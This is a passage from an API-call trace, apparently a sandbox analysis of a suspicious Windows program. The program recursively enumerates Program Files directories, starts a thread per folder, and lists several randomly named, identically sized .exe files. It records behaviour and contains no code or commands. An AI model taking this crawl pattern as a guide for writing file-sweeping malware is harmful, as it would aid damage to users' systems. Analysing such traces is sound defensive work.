ftLastAccessTime.dwLowDateTime=0xa13c66d0, ftLastAccessTime.dwHighDateTime=0x1d56adb, ftLastWriteTime.dwLowDateTime=0xa13c66d0, ftLastWriteTime.dwHighDateTime=0x1d56adb, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="districts-bufing.exe", cAlternateFileName="DISTRI~1.EXE")) returned 1 [0045.662] wcscmp (_String1="districts-bufing.exe", _String2=".") returned 1 [0045.662] wcscmp (_String1="districts-bufing.exe", _String2="..") returned 1 [0045.662] FindNextFileW (in: hFindFile=0x409aa8, lpFindFileData=0x445968 | out: lpFindFileData=0x445968*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f97cb00, ftCreationTime.dwHighDateTime=0x1d52dbf, ftLastAccessTime.dwLowDateTime=0x93de3960, ftLastAccessTime.dwHighDateTime=0x1d51d19, ftLastWriteTime.dwLowDateTime=0x93de3960, ftLastWriteTime.dwHighDateTime=0x1d51d19, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="specifiedgarliclingerie.exe", cAlternateFileName="SPECIF~1.EXE")) returned 1 [0045.662] wcscmp (_String1="specifiedgarliclingerie.exe", _String2=".") returned 1 [0045.662] wcscmp (_String1="specifiedgarliclingerie.exe", _String2="..") returned 1 [0045.663] FindNextFileW (in: hFindFile=0x409aa8, lpFindFileData=0x445968 | out: lpFindFileData=0x445968*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6626d2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6626d2b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="v1.0", cAlternateFileName="")) returned 1 [0045.663] wcscmp (_String1="v1.0", _String2=".") returned 1 [0045.663] wcscmp (_String1="v1.0", _String2="..") returned 1 [0045.663] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x5e) returned 0x446480 [0045.663] wcscpy (in: _Dest=0x446480, _Source="C:\\Program Files\\Microsoft Sync Framework" | out: _Dest="C:\\Program Files\\Microsoft Sync Framework") returned="C:\\Program Files\\Microsoft Sync Framework" [0045.663] wcscat (in: _Dest=0x446480, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Sync Framework\\") returned="C:\\Program Files\\Microsoft Sync Framework\\" [0045.663] wcscat (in: _Dest=0x446480, _Source="v1.0" | out: _Dest="C:\\Program Files\\Microsoft Sync Framework\\v1.0") returned="C:\\Program Files\\Microsoft Sync Framework\\v1.0" [0045.663] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x446480, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x28c [0045.664] FindNextFileW (in: hFindFile=0x409aa8, lpFindFileData=0x445968 | out: lpFindFileData=0x445968*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6626d2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6626d2b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="v1.0", cAlternateFileName="")) returned 0 [0045.664] FindClose (in: hFindFile=0x409aa8 | out: hFindFile=0x409aa8) returned 1 [0045.664] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x445968) returned 1 [0045.664] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x446420) returned 1 [0045.664] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x41be58) returned 1 Thread: id = 72 os_tid = 0xb20 [0045.664] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x6c) returned 0x4187d0 [0045.665] wcscpy (in: _Dest=0x4187d0, _Source="C:\\Program Files\\Microsoft Synchronization Services" | out: _Dest="C:\\Program Files\\Microsoft Synchronization Services") returned="C:\\Program Files\\Microsoft Synchronization Services" [0045.665] wcscat (in: _Dest=0x4187d0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Synchronization Services\\") returned="C:\\Program Files\\Microsoft Synchronization Services\\" [0045.665] wcscat (in: _Dest=0x4187d0, _Source="*" | out: _Dest="C:\\Program Files\\Microsoft Synchronization Services\\*") returned="C:\\Program Files\\Microsoft Synchronization Services\\*" [0045.665] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x445968 [0045.665] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Synchronization Services\\*", lpFindFileData=0x445968 | out: lpFindFileData=0x445968*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x594863b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x594863b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x594863b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x409aa8 [0045.666] wcscmp (_String1=".", _String2=".") returned 0 [0045.666] FindNextFileW (in: hFindFile=0x409aa8, lpFindFileData=0x445968 | out: lpFindFileData=0x445968*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x594863b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x594863b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x594863b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0045.666] wcscmp (_String1="..", _String2=".") returned 1 [0045.666] wcscmp (_String1="..", _String2="..") returned 0 [0045.666] FindNextFileW (in: hFindFile=0x409aa8, lpFindFileData=0x445968 | out: lpFindFileData=0x445968*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x594863b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x594863b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x594863b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ADO.NET", cAlternateFileName="")) returned 1 [0045.666] wcscmp (_String1="ADO.NET", _String2=".") returned 1 [0045.666] wcscmp (_String1="ADO.NET", _String2="..") returned 1 [0045.666] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x78) returned 0x3ffd18 [0045.666] wcscpy (in: _Dest=0x3ffd18, _Source="C:\\Program Files\\Microsoft Synchronization Services" | out: _Dest="C:\\Program Files\\Microsoft Synchronization Services") returned="C:\\Program Files\\Microsoft Synchronization Services" [0045.666] wcscat (in: _Dest=0x3ffd18, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Synchronization Services\\") returned="C:\\Program Files\\Microsoft Synchronization Services\\" [0045.666] wcscat (in: _Dest=0x3ffd18, _Source="ADO.NET" | out: _Dest="C:\\Program Files\\Microsoft Synchronization Services\\ADO.NET") returned="C:\\Program Files\\Microsoft Synchronization Services\\ADO.NET" [0045.667] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x3ffd18, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x290 [0045.667] FindNextFileW (in: hFindFile=0x409aa8, lpFindFileData=0x445968 | out: lpFindFileData=0x445968*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x594863b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x594863b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x594863b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ADO.NET", cAlternateFileName="")) returned 0 [0045.667] FindClose (in: hFindFile=0x409aa8 | out: hFindFile=0x409aa8) returned 1 [0045.667] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x445968) returned 1 [0045.667] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4187d0) returned 1 [0045.667] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x420cb8) returned 1 Thread: id = 73 os_tid = 0xb24 [0045.668] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x36) returned 0x409aa8 [0045.668] wcscpy (in: _Dest=0x409aa8, _Source="C:\\Program Files\\MSBuild" | out: _Dest="C:\\Program Files\\MSBuild") returned="C:\\Program Files\\MSBuild" [0045.668] wcscat (in: _Dest=0x409aa8, _Source="\\" | out: _Dest="C:\\Program Files\\MSBuild\\") returned="C:\\Program Files\\MSBuild\\" [0045.668] wcscat (in: _Dest=0x409aa8, _Source="*" | out: _Dest="C:\\Program Files\\MSBuild\\*") returned="C:\\Program Files\\MSBuild\\*" [0045.668] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x445968 [0045.668] FindFirstFileW (in: lpFileName="C:\\Program Files\\MSBuild\\*", lpFindFileData=0x445968 | out: lpFindFileData=0x445968*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x87cf3cc0, ftLastAccessTime.dwHighDateTime=0x1d5945e, ftLastWriteTime.dwLowDateTime=0x87cf3cc0, ftLastWriteTime.dwHighDateTime=0x1d5945e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x409c68 [0045.669] wcscmp (_String1=".", _String2=".") returned 0 [0045.669] FindNextFileW (in: hFindFile=0x409c68, lpFindFileData=0x445968 | out: lpFindFileData=0x445968*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x87cf3cc0, ftLastAccessTime.dwHighDateTime=0x1d5945e, ftLastWriteTime.dwLowDateTime=0x87cf3cc0, ftLastWriteTime.dwHighDateTime=0x1d5945e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0045.669] wcscmp (_String1="..", _String2=".") returned 1 [0045.669] wcscmp (_String1="..", _String2="..") returned 0 [0045.669] FindNextFileW (in: hFindFile=0x409c68, lpFindFileData=0x445968 | out: lpFindFileData=0x445968*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcdb4540, ftCreationTime.dwHighDateTime=0x1d57b04, ftLastAccessTime.dwLowDateTime=0x942d6e30, ftLastAccessTime.dwHighDateTime=0x1d57a08, ftLastWriteTime.dwLowDateTime=0x942d6e30, ftLastWriteTime.dwHighDateTime=0x1d57a08, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="grove ob knitting.exe", cAlternateFileName="GROVEO~1.EXE")) returned 1 [0045.669] wcscmp (_String1="grove ob knitting.exe", _String2=".") returned 1 [0045.669] wcscmp (_String1="grove ob knitting.exe", _String2="..") returned 1 [0045.669] FindNextFileW (in: hFindFile=0x409c68, lpFindFileData=0x445968 | out: lpFindFileData=0x445968*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80020c30, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80020c30, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft", cAlternateFileName="MICROS~1")) returned 1 [0045.669] wcscmp (_String1="Microsoft", _String2=".") returned 1 [0045.669] wcscmp (_String1="Microsoft", _String2="..") returned 1 [0045.669] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x46) returned 0x444af0 [0045.669] wcscpy (in: _Dest=0x444af0, _Source="C:\\Program Files\\MSBuild" | out: _Dest="C:\\Program Files\\MSBuild") returned="C:\\Program Files\\MSBuild" [0045.669] wcscat (in: _Dest=0x444af0, _Source="\\" | out: _Dest="C:\\Program Files\\MSBuild\\") returned="C:\\Program Files\\MSBuild\\" [0045.669] wcscat (in: _Dest=0x444af0, _Source="Microsoft" | out: _Dest="C:\\Program Files\\MSBuild\\Microsoft") returned="C:\\Program Files\\MSBuild\\Microsoft" [0045.669] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x444af0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x294 [0045.670] FindNextFileW (in: hFindFile=0x409c68, lpFindFileData=0x445968 | out: lpFindFileData=0x445968*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80020c30, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80020c30, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft", cAlternateFileName="MICROS~1")) returned 0 [0045.670] FindClose (in: hFindFile=0x409c68 | out: hFindFile=0x409c68) returned 1 [0045.670] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x445968) returned 1 [0045.670] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x409aa8) returned 1 [0045.670] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x409a68) returned 1 Thread: id = 74 os_tid = 0xb28 [0045.671] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x50) returned 0x413f40 [0045.671] wcscpy (in: _Dest=0x413f40, _Source="C:\\Program Files\\Reference Assemblies" | out: _Dest="C:\\Program Files\\Reference Assemblies") returned="C:\\Program Files\\Reference Assemblies" [0045.671] wcscat (in: _Dest=0x413f40, _Source="\\" | out: _Dest="C:\\Program Files\\Reference Assemblies\\") returned="C:\\Program Files\\Reference Assemblies\\" [0045.671] wcscat (in: _Dest=0x413f40, _Source="*" | out: _Dest="C:\\Program Files\\Reference Assemblies\\*") returned="C:\\Program Files\\Reference Assemblies\\*" [0045.671] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x445968 [0045.671] FindFirstFileW (in: lpFileName="C:\\Program Files\\Reference Assemblies\\*", lpFindFileData=0x445968 | out: lpFindFileData=0x445968*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x88228ce0, ftLastAccessTime.dwHighDateTime=0x1d5945e, ftLastWriteTime.dwLowDateTime=0x88228ce0, ftLastWriteTime.dwHighDateTime=0x1d5945e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x409a68 [0045.672] wcscmp (_String1=".", _String2=".") returned 0 [0045.672] FindNextFileW (in: hFindFile=0x409a68, lpFindFileData=0x445968 | out: lpFindFileData=0x445968*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x88228ce0, ftLastAccessTime.dwHighDateTime=0x1d5945e, ftLastWriteTime.dwLowDateTime=0x88228ce0, ftLastWriteTime.dwHighDateTime=0x1d5945e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0045.672] wcscmp (_String1="..", _String2=".") returned 1 [0045.672] wcscmp (_String1="..", _String2="..") returned 0 [0045.672] FindNextFileW (in: hFindFile=0x409a68, lpFindFileData=0x445968 | out: lpFindFileData=0x445968*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80020c30, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80020c30, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft", cAlternateFileName="MICROS~1")) returned 1 [0045.672] wcscmp (_String1="Microsoft", _String2=".") returned 1 [0045.672] wcscmp (_String1="Microsoft", _String2="..") returned 1 [0045.672] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x60) returned 0x449d40 [0045.672] wcscpy (in: _Dest=0x449d40, _Source="C:\\Program Files\\Reference Assemblies" | out: _Dest="C:\\Program Files\\Reference Assemblies") returned="C:\\Program Files\\Reference Assemblies" [0045.672] wcscat (in: _Dest=0x449d40, _Source="\\" | out: _Dest="C:\\Program Files\\Reference Assemblies\\") returned="C:\\Program Files\\Reference Assemblies\\" [0045.672] wcscat (in: _Dest=0x449d40, _Source="Microsoft" | out: _Dest="C:\\Program Files\\Reference Assemblies\\Microsoft") returned="C:\\Program Files\\Reference Assemblies\\Microsoft" [0045.672] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x449d40, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x298 [0045.673] FindNextFileW (in: hFindFile=0x409a68, lpFindFileData=0x445968 | out: lpFindFileData=0x445968*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa447dca0, ftCreationTime.dwHighDateTime=0x1d53c79, ftLastAccessTime.dwLowDateTime=0x7504f510, ftLastAccessTime.dwHighDateTime=0x1d531d2, ftLastWriteTime.dwLowDateTime=0x7504f510, ftLastWriteTime.dwHighDateTime=0x1d531d2, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="situatedsentencesjewelry.exe", cAlternateFileName="SITUAT~1.EXE")) returned 1 [0045.673] wcscmp (_String1="situatedsentencesjewelry.exe", _String2=".") returned 1 [0045.673] wcscmp (_String1="situatedsentencesjewelry.exe", _String2="..") returned 1 [0045.673] FindNextFileW (in: hFindFile=0x409a68, lpFindFileData=0x445968 | out: lpFindFileData=0x445968*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa447dca0, ftCreationTime.dwHighDateTime=0x1d53c79, ftLastAccessTime.dwLowDateTime=0x7504f510, ftLastAccessTime.dwHighDateTime=0x1d531d2, ftLastWriteTime.dwLowDateTime=0x7504f510, ftLastWriteTime.dwHighDateTime=0x1d531d2, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="situatedsentencesjewelry.exe", cAlternateFileName="SITUAT~1.EXE")) returned 0 [0045.673] FindClose (in: hFindFile=0x409a68 | out: hFindFile=0x409a68) returned 1 [0045.673] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x445968) returned 1 [0045.673] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x413f40) returned 1 [0045.673] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x413cd8) returned 1 Thread: id = 75 os_tid = 0xb2c [0045.674] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x52) returned 0x41be58 [0045.674] wcscpy (in: _Dest=0x41be58, _Source="C:\\Program Files\\Uninstall Information" | out: _Dest="C:\\Program Files\\Uninstall Information") returned="C:\\Program Files\\Uninstall Information" [0045.674] wcscat (in: _Dest=0x41be58, _Source="\\" | out: _Dest="C:\\Program Files\\Uninstall Information\\") returned="C:\\Program Files\\Uninstall Information\\" [0045.674] wcscat (in: _Dest=0x41be58, _Source="*" | out: _Dest="C:\\Program Files\\Uninstall Information\\*") returned="C:\\Program Files\\Uninstall Information\\*" [0045.674] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x445968 [0045.674] FindFirstFileW (in: lpFileName="C:\\Program Files\\Uninstall Information\\*", lpFindFileData=0x445968 | out: lpFindFileData=0x445968*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x4232b3dd, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x4232b3dd, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x4232b3dd, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x409a68 [0045.674] wcscmp (_String1=".", _String2=".") returned 0 [0045.674] FindNextFileW (in: hFindFile=0x409a68, lpFindFileData=0x445968 | out: lpFindFileData=0x445968*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x4232b3dd, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x4232b3dd, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x4232b3dd, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0045.674] wcscmp (_String1="..", _String2=".") returned 1 [0045.674] wcscmp (_String1="..", _String2="..") returned 0 [0045.674] FindNextFileW (in: hFindFile=0x409a68, lpFindFileData=0x445968 | out: lpFindFileData=0x445968*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x4232b3dd, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x4232b3dd, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x4232b3dd, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0045.675] FindClose (in: hFindFile=0x409a68 | out: hFindFile=0x409a68) returned 1 [0045.675] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x445968) returned 1 [0045.675] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x41be58) returned 1 [0045.675] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x413d30) returned 1 Thread: id = 76 os_tid = 0xb30 [0045.675] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x46) returned 0x444c30 [0045.675] wcscpy (in: _Dest=0x444c30, _Source="C:\\Program Files\\Windows Journal" | out: _Dest="C:\\Program Files\\Windows Journal") returned="C:\\Program Files\\Windows Journal" [0045.675] wcscat (in: _Dest=0x444c30, _Source="\\" | out: _Dest="C:\\Program Files\\Windows Journal\\") returned="C:\\Program Files\\Windows Journal\\" [0045.675] wcscat (in: _Dest=0x444c30, _Source="*" | out: _Dest="C:\\Program Files\\Windows Journal\\*") returned="C:\\Program Files\\Windows Journal\\*" [0045.675] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x445968 [0045.675] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Journal\\*", lpFindFileData=0x445968 | out: lpFindFileData=0x445968*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e177d26, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x87d660e0, ftLastAccessTime.dwHighDateTime=0x1d5945e, ftLastWriteTime.dwLowDateTime=0x87d660e0, ftLastWriteTime.dwHighDateTime=0x1d5945e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x409a68 [0045.676] wcscmp (_String1=".", _String2=".") returned 0 [0045.676] FindNextFileW (in: hFindFile=0x409a68, lpFindFileData=0x445968 | out: lpFindFileData=0x445968*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e177d26, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x87d660e0, ftLastAccessTime.dwHighDateTime=0x1d5945e, ftLastWriteTime.dwLowDateTime=0x87d660e0, ftLastWriteTime.dwHighDateTime=0x1d5945e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0045.676] wcscmp (_String1="..", _String2=".") returned 1 [0045.676] wcscmp (_String1="..", _String2="..") returned 0 [0045.676] FindNextFileW (in: hFindFile=0x409a68, lpFindFileData=0x445968 | out: lpFindFileData=0x445968*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e4268f4, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa35bb41, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e472dd2, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0045.676] wcscmp (_String1="en-US", _String2=".") returned 1 [0045.676] wcscmp (_String1="en-US", _String2="..") returned 1 [0045.676] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x4e) returned 0x413d30 [0045.676] wcscpy (in: _Dest=0x413d30, _Source="C:\\Program Files\\Windows Journal" | out: _Dest="C:\\Program Files\\Windows Journal") returned="C:\\Program Files\\Windows Journal" [0045.676] wcscat (in: _Dest=0x413d30, _Source="\\" | out: _Dest="C:\\Program Files\\Windows Journal\\") returned="C:\\Program Files\\Windows Journal\\" [0045.676] wcscat (in: _Dest=0x413d30, _Source="en-US" | out: _Dest="C:\\Program Files\\Windows Journal\\en-US") returned="C:\\Program Files\\Windows Journal\\en-US" [0045.676] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x413d30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x29c [0045.677] FindNextFileW (in: hFindFile=0x409a68, lpFindFileData=0x445968 | out: lpFindFileData=0x445968*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x88c0db86, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x88c0db86, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x29c54b90, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0xe3000, dwReserved0=0x0, dwReserved1=0x0, cFileName="InkSeg.dll", cAlternateFileName="")) returned 1 [0045.677] wcscmp (_String1="InkSeg.dll", _String2=".") returned 1 [0045.677] wcscmp (_String1="InkSeg.dll", _String2="..") returned 1 [0045.677] FindNextFileW (in: hFindFile=0x409a68, lpFindFileData=0x445968 | out: lpFindFileData=0x445968*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8c554863, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x8c554863, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x2aeed770, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x154400, dwReserved0=0x0, dwReserved1=0x0, cFileName="JNTFiltr.dll", cAlternateFileName="")) returned 1 [0045.677] wcscmp (_String1="JNTFiltr.dll", _String2=".") returned 1 [0045.677] wcscmp (_String1="JNTFiltr.dll", _String2="..") returned 1 [0045.677] FindNextFileW (in: hFindFile=0x409a68, lpFindFileData=0x445968 | out: lpFindFileData=0x445968*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b77e99a, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x8b77e99a, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x2b043430, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x156800, dwReserved0=0x0, dwReserved1=0x0, cFileName="JNWDRV.dll", cAlternateFileName="")) returned 1 [0045.677] wcscmp (_String1="JNWDRV.dll", _String2=".") returned 1 [0045.677] wcscmp (_String1="JNWDRV.dll", _String2="..") returned 1 [0045.677] FindNextFileW (in: hFindFile=0x409a68, lpFindFileData=0x445968 | out: lpFindFileData=0x445968*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77861d5d, 